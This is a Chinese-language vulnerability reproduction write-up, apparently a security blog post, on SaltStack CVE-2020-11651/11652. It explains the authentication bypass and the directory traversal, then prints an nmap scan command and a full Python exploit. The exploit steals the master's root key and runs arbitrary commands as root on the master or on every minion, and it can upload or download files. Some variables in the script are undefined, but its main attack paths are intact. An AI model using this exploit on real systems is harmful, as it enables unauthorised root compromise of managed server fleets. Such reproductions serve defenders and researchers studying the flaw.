目录

SaltStack 远程命令执行漏洞复现(CVE-2020-11651)

SaltStack 远程命令执行漏洞复现(CVE-2020-11651)

SaltStack 简介

SaltStack 是基于 Python 开发的一套 C/S 架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于 Python 语言实现,结合轻量级消息队列(ZeroMQ)与 Python 第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack 和 PyYAML 等)构建。

Salt 用于监视和更新服务器状态。每个服务器运行一个称为 minion 的代理程序,该代理程序连接到 master 主机,即 salt 安装程序,该安装程序从 Minions 收集状态报告并发布 Minions 可以对其执行操作的更新消息。通常,此类消息是对所选服务器配置的更新,但是它们也可以用于在多个(甚至所有)受管系统上并行并行运行同一命令。

salt 中的默认通信协议为 ZeroMQ。主服务器公开两个 ZeroMQ 实例,一个称为请求服务器,其中 minion 可以连接到其中报告其状态(或命令输出),另一个称为发布服务器,其中主服务器可以连接和订阅这些消息。

漏洞详情

影响版本

SaltStack < 2019.2.4 SaltStack < 3000.2

漏洞细节

身份验证绕过漏洞(CVE-2020-11651)

ClearFuncs 类在处理授权时,并未限制 _send_pub() 方法,该方法直接可以在发布队列消息,发布的消息会通过 root 身份权限进行执行命令。ClearFuncs 还公开了 _prep_auth_info() 方法,通过该方法可以获取到 root key,通过获取到的 root key 可以在主服务上远程调用命令。

目录遍历漏洞(CVE-2020-11652)

whell 模块中包含用于在特定目录下读取、写入文件命令。函数中输入的信息与目录进行拼接可以绕过目录限制。

在salt.tokens.localfs 类中的 get_token() 方法(由 ClearFuncs 类可以通过未授权进行调用)无法删除输入的参数,并且作为文件名称使用,在路径中通过拼接 .. 进行读取目标目录之外的文件。唯一的限制是文件必须通过 salt.payload.Serial.loads() 进行反序列化。

漏洞复现

nmap 探测端口

1
nmap -sV -p 4504,4506 IP

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200513165628.png-water_print

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python3

import argparse
import datetime
import os
import pip
import sys
import warnings

def install(package):
    if hasattr(pip, "main"):
        pip.main(["install", package])
    else:
        pip._internal.main(["install", package])

try:
    import salt
    import salt.version
    import salt.transport.client
    import salt.exceptions
except:
    install("distro")
    install("salt")

def ping(channel): 
    message = {
        "cmd":"ping"
    }
    try:
        response = channel.send(message, timeout=5)
        if response:
            return True 
    except salt.exceptions.SaltReqTimeoutError:
        pass

    return False

def get_rootkey(channel):
    message = {
        "cmd":"_prep_auth_info"
    }
    try:
        response = channel.send(message, timeout=5)
        for i in response:
            if isinstance(i,dict) and len(i) == 1:
                rootkey = list(i.values())[0]
                return rootkey      
    except:
        pass

    return False

def minion(channel, command):
    message = {
        "cmd": "_send_pub",
        "fun": "cmd.run",
        "arg": ["/bin/sh -c \"{command}\""],
        "tgt": "*",
        "ret": "",
        "tgt_type": "glob",
        "user": "root",
        "jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()),
        "_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow())
    }

    try:
        response = channel.send(message, timeout=5)
        if response == None:
            return True
    except:
        pass
    
    return False

def master(channel, key, command):
    message = { 
        "key": key,
        "cmd": "runner",
        "fun": "salt.cmd",
        "kwarg":{
            "fun": "cmd.exec_code",
            "lang": "python3",
            "code": f"import subprocess;subprocess.call(\"{command}\",shell=True)"
        },
        "user": "root",
        "jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()),
        "_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow())
    }

    try:
        response = channel.send(message, timeout=5)
        log("[ ] Response: " + str(response))
    except:
        return False

def download(channel, key, src, dest):
    message = {
        "key": key,
        "cmd": "wheel",
        "fun": "file_roots.read",
        "path": path,
        "saltenv": "base",
    }

    try:
        response = channel.send(message, timeout=5)
        data = response["data"]["return"][0][path]

        with open(dest, "wb") as o:
            o.write(data)
        return True
    except:
        return False

def upload(channel, key, src, dest):
    try:
        with open(src, "rb") as s:
            data = s.read()
    except Exception as e:
        print(f"[ ] Failed to read {src}: {e}")
        return False

    message = {
        "key": key,
        "cmd": "wheel",
        "fun": "file_roots.write",
        "saltenv": "base",
        "data": data,
        "path": dest,
    }

    try:
        response = channel.send(message, timeout=5)
        return True
    except:
        return False
    
def log(message):
    if not args.quiet:
        print(message)

if __name__=="__main__":
    warnings.filterwarnings("ignore")

    desc = "CVE-2020-11651 PoC" 

    parser = argparse.ArgumentParser(description=desc)

    parser.add_argument("--host", "-t", dest="master_host", metavar=('HOST'), required=True)
    parser.add_argument("--port", "-p", dest="master_port", metavar=('PORT'), default="4506", required=False)
    parser.add_argument("--execute", "-e", dest="command", default="/bin/sh", help="Command to execute. Defaul: /bin/sh", required=False)
    parser.add_argument("--upload", "-u", dest="upload", nargs=2, metavar=('src', 'dest'), help="Upload a file", required=False)
    parser.add_argument("--download", "-d", dest="download", nargs=2, metavar=('src', 'dest'), help="Download a file", required=False)
    parser.add_argument("--minions", dest="minions", default=False, action="store_true", help="Send command to all minions on master",required=False)
    parser.add_argument("--quiet", "-q", dest="quiet", default=False, action="store_true", help="Enable quiet/silent mode", required=False)
    parser.add_argument("--fetch-key-only", dest="fetchkeyonly", default=False, action="store_true", help="Only fetch the key", required=False)

    args = parser.parse_args()

    minion_config = {
        "transport": "zeromq",
        "pki_dir": "/tmp",
        "id": "root",
        "log_level": "debug",
        "master_ip": args.master_host,
        "master_port": args.master_port,
        "auth_timeout": 5,
        "auth_tries": 1,
        "master_uri": f"tcp://{args.master_host}:{args.master_port}"
    }
    
    clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt="clear")

    log(f"[+] Attempting to ping {args.master_host}")
    if not ping(clear_channel):
        log("[-] Failed to ping the master")
        log("[+] Exit")
        sys.exit(1)


    log("[+] Attempting to fetch the root key from the instance.")
    rootkey = get_rootkey(clear_channel)
    if not rootkey:
        log("[-] Failed to fetch the root key from the instance.")
        sys.exit(1)
    
    log("[+] Retrieved root key: " + rootkey)
    
    if args.fetchkeyonly:
        sys.exit(1)

    if args.upload:
        log(f"[+] Attemping to upload {src} to {dest}")
        if upload(clear_channel, rootkey,  args.upload[0], args.upload[1]):
            log("[+] Upload done!")
        else:
            log("[-] Failed")
         
    if args.download:
        log(f"[+] Attemping to download {src} to {dest}")
        if download(clear_channel, rootkey,  args.download[0], args.download[1]):
            log("[+] Download done!")
        else:
            log("[-] Failed")

    if args.minions:
        log("[+] Attempting to send command to all minions on master")
        if not minion(clear_channel, command):
            log("[-] Failed")
    else:
        log("[+] Attempting to send command to master")
        if not master(clear_channel, rootkey, command):
            log("[-] Failed")
    

漏洞利用

读取 root key 检测是否存在漏洞:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200513165917.png-water_print

目录遍历

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200513165951.png-water_print

命令执行

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200513170014.png-water_print